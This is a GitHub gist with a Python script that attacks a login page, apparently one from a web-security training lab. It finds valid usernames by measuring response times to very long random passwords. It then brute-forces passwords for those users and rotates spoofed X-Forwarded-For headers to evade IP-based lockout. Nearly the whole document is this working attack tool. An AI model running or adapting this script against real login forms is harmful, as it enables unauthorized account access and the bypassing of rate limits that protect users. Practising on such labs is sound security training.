Last active
June 10, 2021 13:23
-
-
Save KrE80r/5bf963417e7205e4a279f90a9f7434f0 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests, signal, sys, string, random | |
def read_file(file): | |
content = [] | |
f = open(file, "r") | |
while(True): | |
linea = f.readline().rstrip('\n') | |
content.append(linea) | |
if not linea: | |
break | |
f.close() | |
del content[-1] | |
return content | |
def valid_username(url, usernames): | |
valid_usernames = [] | |
for username in usernames: | |
headers = {'X-Forwarded-For':str(int(usernames.index(username)+.0)+1)} | |
password = ''.join(random.choice(string.ascii_letters) for i in range(random.randint(120,150))) | |
data = {"username":username,"password":password} | |
response_user = requests.post(url=url, data=data, headers=headers) | |
print("User: {}\t\tTime {}".format(username, response_user.elapsed.total_seconds())) | |
#avg respnse time range 0.5-0.65 | |
if int(response_user.elapsed.total_seconds()) >= 1: | |
valid_usernames.append(username) | |
else: | |
pass | |
print("\nValid users are: {}".format(','.join(valid_usernames))) | |
return valid_usernames | |
def valid_password(url, valid_usernames, passwords): | |
valid_password = dict.fromkeys(valid_usernames, '') | |
for username in valid_usernames: | |
for password in passwords: | |
headers = {'X-Forwarded-For':str(int(passwords.index(password)+.0)+1)} | |
data = {"username":username,"password":password} | |
response_pass = requests.post(url=url, data=data, headers=headers, allow_redirects=False) | |
print("Trying password: {}\t\tUser: {}\t\tStatus code:{}".format(password,username,response_pass.status_code)) | |
if response_pass.status_code == 200: | |
pass | |
else: | |
valid_password[username] = password | |
break | |
return valid_password | |
def def_handler(key,frame): | |
print("\n[*] Exiting") | |
sys.exit(1) | |
def pretty(valid_passwords): | |
for key, value in valid_passwords.items(): | |
print("\n[*] {}:{}".format(key,value)) | |
def main(): | |
signal.signal(signal.SIGINT, def_handler) | |
url = "https://acd81fb61fd2891380d41dde003f00d5.web-security-academy.net/login" | |
print("\n[*] Validating username\n") | |
usernames = read_file("usernames") | |
valid_usernames = valid_username(url, usernames) | |
print("\n[*] Validating password\n") | |
passwords = read_file("passwords") | |
valid_passwords = valid_password(url, valid_usernames, passwords) | |
pretty(valid_passwords) | |
if __name__ == "__main__": | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment